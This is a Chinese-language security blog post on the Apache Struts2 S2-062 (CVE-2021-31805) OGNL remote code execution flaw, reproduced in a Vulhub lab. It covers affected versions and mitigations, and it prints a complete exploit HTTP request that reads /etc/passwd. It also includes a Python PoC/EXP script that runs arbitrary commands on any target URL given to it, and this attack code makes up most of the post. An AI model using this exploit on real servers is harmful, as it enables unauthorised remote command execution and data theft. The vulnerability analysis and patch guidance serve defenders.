Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞

简介: Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。

声明


请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、漏洞描述


此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整,导致输入验证不正确。

如果开发人员使用%{…} 语法进行强制 OGNL 解析,仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

image.png

二、漏洞原理


开发人员使用%{…} 语法进行强制 OGNL 解析,有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

三、影响版本


  • Struts 2.0.0 - Struts 2.5.29


四、安全版本


  • Struts >= 2.5.30


五、漏洞细节分析


六、本地复现


  • 复现环境:Vulhub /Struts2 /s2-061 版本->Struts2:2.5.25
  • 靶机:KALI


启动环境

image.png

docker ps

访问目标地址

image.png

漏洞EXP


POST /index.action HTTP/1.1

Host: X.X.X.X:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 1096

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +

(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))

}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF—


执行结果

image.png

Py脚本测试

import requests

from lxml import etree

import argparse

def poc(url):

   try:

       headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}

       data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"

       text=requests.post(url, headers=headers, data=data).text

       if "id" in text:

           print("发现漏洞")

           page=etree.HTML(text)

           data = page.xpath('//a[@id]/@id')

           print(data[0])

   except:

       print("POC检测失败")

def EXP(url,cmd):

   try:

       headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}

       data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)

       text=requests.post(url, headers=headers, data=data).text

       if "id" in text:

           print("命令回显")

           page=etree.HTML(text)

           data = page.xpath('//a[@id]/@id')

           print(data[0])

   except:

       print("EXP检测失败")

if __name__ == '__main__':

   parser = argparse.ArgumentParser(description='S2-062验证')

   parser.add_argument('--url', help="要验证的URL")

   parser.add_argument('--cmd',help="你想执行的命令",default="")

   args = parser.parse_args()

   if args.cmd !="":

       EXP(args.url,args.cmd)

   else:

       poc(args.url)


测试结果如下

image.png

七、漏洞修复


缓解措施

1、这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估,因为“value”属性不存在并且它试图填充该属性。因此,通过给所有属性一个空白值 =“”,这将有助于缓解这个问题。(例如:<s:label name="%{skillName}" value="" />

2、将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。


厂商已发布新版本,请及时更新Struts至2.5.30或更高版本!!!

目录
相关文章
|
安全 关系型数据库 网络安全
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
|
7月前
|
消息中间件 人工智能 安全
秒级灾备恢复:Kafka 2025 AI自愈集群下载及跨云Topic迁移终极教程
Apache Kafka 2025作为企业级实时数据中枢,实现五大革新:量子安全传输(CRYSTALS-Kyber抗量子加密算法)、联邦学习总线(支持TensorFlow Federated/Horizontal FL框架)、AI自愈集群(MTTR缩短至30秒内)、多模态数据处理(原生支持视频流、3D点云等)和跨云弹性扩展(AWS/GCP/Azure间自动迁移)。平台采用混合云基础设施矩阵与软件依赖拓扑设计,提供智能部署架构。安装流程涵盖抗量子安装包获取、量子密钥配置及联邦学习总线设置。
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
2174 1
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
8134 0
|
监控 安全 关系型数据库
在Linux中,什么是系统日志和应用程序日志?如何分析它们?
在Linux中,什么是系统日志和应用程序日志?如何分析它们?
|
安全 网络安全 Apache
CVE-2021-41773 复现
CVE-2021-41773 复现
638 1
|
存储 开发者 Docker
|
Java 监控 安全
Java一分钟之-JMX:Java管理扩展
【6月更文挑战第3天】Java Management Extensions (JMX) 允许创建、注册和管理MBeans以监控和控制Java应用。本文关注JMX的基本概念、常见问题和易错点。关键点包括:正确实现MBean和使用`StandardMBean`,确保MBean注册时名称唯一,引用平台MBean Server,配置安全管理,以及处理MBean操作异常。理解这些概念和最佳实践对于有效利用JMX至关重要。记得在实际应用中测试管理接口并加强生产环境的安全性。
377 8
|
存储 前端开发 JavaScript
反射型 XSS 攻击演示(附链接)
反射型 XSS 攻击演示(附链接)
|
JSON Java Maven
使用Jackson进行 JSON 序列化和反序列化
使用Jackson进行 JSON 序列化和反序列化
412 0